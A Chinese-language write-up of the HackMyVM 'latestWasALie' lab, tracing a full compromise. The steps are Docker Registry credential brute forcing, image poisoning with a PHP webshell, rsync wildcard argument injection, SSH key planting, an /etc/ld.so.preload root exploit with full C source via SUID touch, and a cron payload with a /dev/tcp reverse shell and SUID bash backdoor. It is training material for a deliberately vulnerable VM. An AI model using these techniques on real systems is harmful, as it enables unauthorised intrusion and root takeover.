当前位置: 首页 > news >正文

【HackMyVM】latestWasALie

探测主机

nmap -sn 192.168.1.0/24

信息收集

收集192.168.1.9的端口信息

nmap -sC -sS -A -T4 --min-rate 10000 192.168.1.9

有2个web服务

80端口

访问80端口,没一会就会自动跳转到latestwasalie.hmv还显示无法访问

估计要设置主机头信息

设置下host

然后访问,就可以成功加载页面

http://latestwasalie.hmv/

底部有一个注释信息,先记录下

adm

目录爆破

我们对网站进行目录爆破

可以看到提示,也印证了需要加主机头信息

现在没啥线索,换到5000端口

5000端口

通过刚刚的信息收集可以知道是Docker Registry服务

查找关于这个服务的信息

5000 - Pentesting Docker Registry - HackTricks

说是有一个/v2/_catalog信息

访问下但是需要凭据

hydra爆破Docker registry认证

我们在80端口有收集到adm这个名字,尝试作为账户进行爆破

# -s 5000 :指定5000端口 # -V:显示每次爆破的账户和密码 # -f:找到正确凭据就停止爆破 hydra -l adm -P /usr/share/wordlists/rockyou.txt 192.168.1.9 -s 5000 http-get /v2/ -V -f

成功得到账户密码

adm lover1

Docker镜像投毒

获取Docker仓库有镜像

也可以使用curl进行获取

# -k:跳过证书验证 # -u:提供凭据完成Basic Auth认证 curl -k -u adm:lover1 http://192.168.1.9:5000/v2/_catalog

查询Docker镜像版本标签

查看镜像有哪些tags

curl -k -u adm:lover1 http://192.168.1.9:5000/v2/latestwasalie-web/tags/list

可以看到就一个latest版本

拉取Docker镜像

我们先登录到192.168.1.9的docker

会出现Error报错,因为Docker需要https,但是我们的靶机是http

编辑/etc/docker/daemon.json文件,添加以下内容,信任192.168.1.9这个http源

{ "insecure-registries": ["192.168.1.9:5000"] }

然后重启下服务

sudo systemctl daemon-reload sudo systemctl restart docker

然后就可以成功登录

将远端的镜像拉取下来

docker pull 192.168.1.9:5000/latestwasalie-web

镜像投毒

我们对刚刚下载的镜像进行投毒

docker run -it --name tmp_container 192.168.1.9:5000/latestwasalie-web /bin/bash

总共有3个文件夹,分别看看都有什么东西

可以看到其中default就是我们靶机80端口的网站

写一个info.php,先看看网站都禁用了什么函数

然后我们把我们修改后的镜像重新打包上传回到192.168.1.9

服务器有镜像同步机制,我们上传有毒的镜像之后,服务器会自动部署

# 修改镜像 docker commit tmp_container 192.168.1.9:5000/latestwasalie-web # 将本地本地镜像进行推送 docker push 192.168.1.9:5000/latestwasalie-web

访问http://192.168.1.9/info.php就可以看到info.php成功写入

发现没有禁止eval,那么直接写入webshell

还是一样修改本地的容器,推送上去

过一会就可以看到webshell成功写入

可以连接成功,但是命令执行被禁了

在这个源码中看到有一个/data/目录

<?php $exportDir = '/data/exports'; $stateDir = '/data/state'; $maxFiles = (int)(getenv('EXPORT_MAX_FILES') ?: '20'); $minInterval = (int)(getenv('EXPORT_MIN_INTERVAL') ?: '10'); if (!is_dir($exportDir)) { http_response_code(500); echo "Export directory not available."; exit; } if (!is_dir($stateDir)) { http_response_code(500); echo "State directory not available."; exit; } $lockFilePath = $stateDir . '/export.lock'; $stampFilePath = $stateDir . '/last_export.timestamp'; $lockHandle = fopen($lockFilePath, 'c+'); if ($lockHandle === false) { http_response_code(500); echo "Could not initialize export lock."; exit; } if (!flock($lockHandle, LOCK_EX)) { http_response_code(500); echo "Could not acquire export lock."; fclose($lockHandle); exit; } try { $now = time(); $lastExport = 0; if (file_exists($stampFilePath)) { $raw = trim((string)file_get_contents($stampFilePath)); if (ctype_digit($raw)) { $lastExport = (int)$raw; } } if (($now - $lastExport) < $minInterval) { http_response_code(429); $wait = $minInterval - ($now - $lastExport); echo "<h1>Too many requests</h1>"; echo "<p>Please wait {$wait} seconds before creating another export.</p>"; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } $files = glob($exportDir . '/report_*.txt'); if ($files === false) { $files = []; } usort($files, function ($a, $b) { return filemtime($a) <=> filemtime($b); }); while (count($files) >= $maxFiles) { $oldest = array_shift($files); if ($oldest !== null && is_file($oldest)) { @unlink($oldest); } } $filename = 'report_' . date('Ymd_His') . '_' . bin2hex(random_bytes(3)) . '.txt'; $filePath = $exportDir . '/' . $filename; $content = "latestWasALie export\n"; $content .= "Generated: " . date('c') . "\n"; $content .= "Version: " . htmlspecialchars(getenv('APP_VERSION') ?: 'unknown', ENT_QUOTES, 'UTF-8') . "\n"; $content .= "RemoteAddr: " . ($_SERVER['REMOTE_ADDR'] ?? 'unknown') . "\n"; if (file_put_contents($filePath, $content, LOCK_EX) === false) { http_response_code(500); echo "Could not write export file."; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } file_put_contents($stampFilePath, (string)$now, LOCK_EX); echo "<h1>Export created</h1>"; echo "<p>File: " . htmlspecialchars($filename, ENT_QUOTES, 'UTF-8') . "</p>"; echo "<p>Current limit: " . (int)$maxFiles . " files, one export every " . (int)$minInterval . " seconds.</p>"; flock($lockHandle, LOCK_UN); fclose($lockHandle); } catch (Throwable $e) { http_response_code(500); echo "Unhandled export error."; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } ?>

打开相应的目录看到rsync_cmd文件

rsync 参数注入

命令作用:使用backupusr的 ED25519 私钥通过 SSH 本地加密通道,以归档模式、详细日志输出,把当前目录全部.txt文件增量同步到本机 /home/backupusr/backup/ 目录下,完整保留文件所有属性。

rsync -e 'ssh -i /home/backupusr/.ssh/id_ed25519' -av *.txt localhost:/home/backupusr/backup/

当sync与*进行组合时,就会出现参数注入,参考资料:Back To The Future: Unix Wildcards Gone Wild

我们新建一个a.txt把反弹shell 的命令写进入

busybox+nc 反弹shell

然后再创建一个特殊的文件进行命令注入

等靶机进行同步,我们就可以得到一个shell

Get User Flag

得到user flag

写入公钥

在刚刚的sync中,我们是有看到.ssh目录

/home/backupusr/.ssh/id_ed25519

我们把我们的公钥写入到authorized_keys,这样就可以登录到backupusr用户

我们在kali上生成一个密钥

ssh-keygen

然后获取刚刚生成好的公钥,输入到靶机的authorized_keys中

然后ssh直接连接靶机,注意这里要使用靶机的用户名,而不是你自己的

ssh backupus@192.168.1.9

Root链A:touch + /etc/ld.so.preload

查找SUID文件

find / -perm -4000 -type f 2>/dev/null

发现有touch,那么我们可以通过touch来修改/etc/ld.so.preload来get root shell

创建一个/etc/ld.so.preload

/usr/bin/touch /etc/ld.so.preload ls -l /etc/ld.so.preload

/etc/ld.so.preload是动态链接器全局配置文件,ld 会先读取这个文件,里面写了哪些 .so 库,就会优先加载这些库

那么我们写一个恶意的so文件,并把这个so文件放入到/etc/ld.so.preload中

preload_home.c文件内容如下:

#define _GNU_SOURCE #include <unistd.h> #include <sys/stat.h> __attribute__((constructor)) void init(void) { setgid(0); setuid(0); unlink("/etc/ld.so.preload"); chown("/home/backupusr/rootbash", 0, 0); chmod("/home/backupusr/rootbash", 04755); }

编译成so文件

gcc -shared -fPIC -nostartfiles -o preload_home.so preload_home.c

在kali上将这个恶意的so文件传递到靶机上

使用scp 传递文件

# -F /dev/null:不加载任何ssh config配置文件 # -i ~/.ssh/id_ed25519:使用私钥进行登录SSH scp -F /dev/null -i ~/.ssh/id_ed25519 preload_home.so backupusr@192.168.1.9:/home/backupusr/preload_home.so

然后在靶机上运行如下命令

# 将/bin/bash复制一份,作为root后面载体 cp /bin/bash /home/backupusr/rootbash # 给后门添加权限 chmod 755 /home/backupusr/rootbash # 创建一个空白/etc/ld.so.preload文件 /usr/bin/touch /etc/ld.so.preload # 把我们恶意的so文件写入到ld.so.preload中 printf "/home/backupusr/preload_home.so\n" > /etc/ld.so.preload # 执行touch命令触发下,因为touch使用时会动态加载库,所会激活加载/etc/ld.so.preload里面的so文件 # Linux 安全机制:普通无 SUID 程序会忽略 /etc/ld.so.preload,只有 SUID/SGID 程序才会正常加载预加载库,所以这里必须用 SUID touch 作为触发载体。 /usr/bin/touch /home/backupusr/trigger_preload # bash 默认有安全机制:运行带 SUID 的 bash 时,会自动丢弃有效 UID (root),变回普通用户权限。使用-p 则保留SUID权限,不会降权 # -c 代表:不进入交互式 shell,直接执行引号内的一串命令,执行完毕立刻退出。 /home/backupusr/rootbash -p -c 'id; whoami; ls -la /root; cat /root/root.txt 2>&1'

成功得到root shell

小细节:/tmp 在该靶机上有 nosuid,所以 SUID bash 放在 /tmp 不会生效;改放到 /home/backupusr/rootbash 后即可正常 bash -p

Root 链 B:/root/backups.sh + /opt/registry/note.txt 通配符注入

查找当权用户可写入的文件/文件夹,找到提取突破口

# 查找当前用户可写入的文件/文件夹 find / -writable 2>/dev/null | grep -v -E '(proc|sys|dev|tmp|run)' find / -name note.txt -ls 2>/dev/null

可以看到/opt/registry/note.txt是所有人可读可写的

上传pspy查找定时任务,寻找提权突破口

SSH执行命令

scp -F /dev/null -i ~/.ssh/id_ed25519 pspy64 backupusr@192.168.1.9:/home/backupusr/pspy64 ssh -F /dev/null -i ~/.ssh/id_ed25519 backupusr@192.168.1.9 'chmod +x /home/backupusr/pspy64; timeout 380 /home/backupusr/pspy64 -p -i 100 --ppid'

我们着重关注UID=0(蓝色部分)的进程,可以看到也有一个rsync,跟UID=1000(backupusr)的命令几乎一致

那么就可以猜测,root账户也有一个rsync命令注入漏洞

那么我们可以用同样的手法来反弹一个root shell

可以看到root的那个/root/backup.sh备份的目标就是/opt/registry

可以直接修改note.txt,note.txt是可写的

或者我们可以直接使用touch创建一个新的txt也可以

使用cat写入内容

payload内容就是生成一个root_note_bash后面,再反弹一个root shell

# 写入payload cat > /opt/registry/note.txt <<'PAYLOAD' #!/bin/sh { echo "[+] note.txt root payload ran at $(date) id=$(id) cwd=$(pwd) args=$*" cp /bin/bash /home/backupusr/root_note_bash chown root:root /home/backupusr/root_note_bash chmod 4755 /home/backupusr/root_note_bash /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.7/4447 0>&1" & } >> /home/backupusr/note_root.log 2>&1 exit 1 PAYLOAD # 创建特殊文件 /usr/bin/touch "/opt/registry/-e sh note.txt" # 查看文件 ls -la /opt/registry

我们kali开启监听

过一会就可以得到root shell

同样也可以直接使用目录下的root_note_bash,但是注意要加上-p参数(--privileged)

http://www.jsqmd.com/news/1139122/

相关文章:

  • 如何一键获取国家中小学智慧教育平台电子课本?这个免费工具帮你解决备课难题
  • 为什么“双触发器”不够用?
  • 国际eSIM物联卡如何远程写号切换运营商?深度适配多国物流场景解析
  • 常德本地环保装修哪家技术强
  • 2026最新实操:小白也能用游戏护航小程序,快速搭建校园电竞服务SaaS系统
  • 终极GTA5安全防护菜单:YimMenu完全使用指南
  • 一站式可观测新选择:OpenObserve 深度对标 ELK / Grafana+Prometheus / Netdata,附Docker一键部署实战
  • Python 获取 A 股 K 线、实时行情和五档盘口:QuantDash API 示例
  • ubuntu使用很久之后网络突然连不上解决方法
  • WebAssembly AI 插件热加载:运行时替换模块而不丢会话状态
  • 有什么针对新闻媒体行业的安全解决方案
  • 蔡司三坐标能否检测齿轮?完整检测方案详解
  • Copilot上下文感知提醒:基于Graph API的工作流驱动机制
  • 使用vivado开发FPGA完整流程
  • Rust 智能指针选型:Box、Rc、Arc 什么时候该用哪一个
  • OpenClaw智能体工作流中枢:轻量级AI技能编排引擎实战指南
  • 潮汛网快讯:英国GEO公司geoSurge完成1200万美元种子轮融资
  • Lifecycle中出现的监听器
  • ClaudeAgent】并发-后台任务
  • 科辉荣盛小程序定制开发,多重保障安心数字化
  • 佳木斯装修交叉施工多?轻质抹灰石膏减少墙面破损返工
  • 双轴追踪电站 vs 固定式光伏——从三项强制国标看电站支架选型的技术参数逻辑
  • 每日安全情报报告 · 2026-07-06
  • Fable 5降本新招:pxpipe将上下文转图片,token输入成本最多省70%!
  • nVisual:系统自动推荐方案,业务交付周期缩短40%
  • 为什么 printf(“%d“, 5/2) 输出 2 不是 2.5?C语言整数除法陷阱
  • Gemma-2B/4B本地部署实战:从树莓派到Mac的全栈调优指南
  • 同质化质控工具无法支撑集团实验室管控,IACheck AI 报告文档审核统一全机构审核标尺
  • [特殊字符] 京东开放平台(JOS)免费额度与收费标准(2026版):基础/联盟/商家接口对照表(附Python源码)
  • Linux 命令历史彻底删除 完整恢复实操指南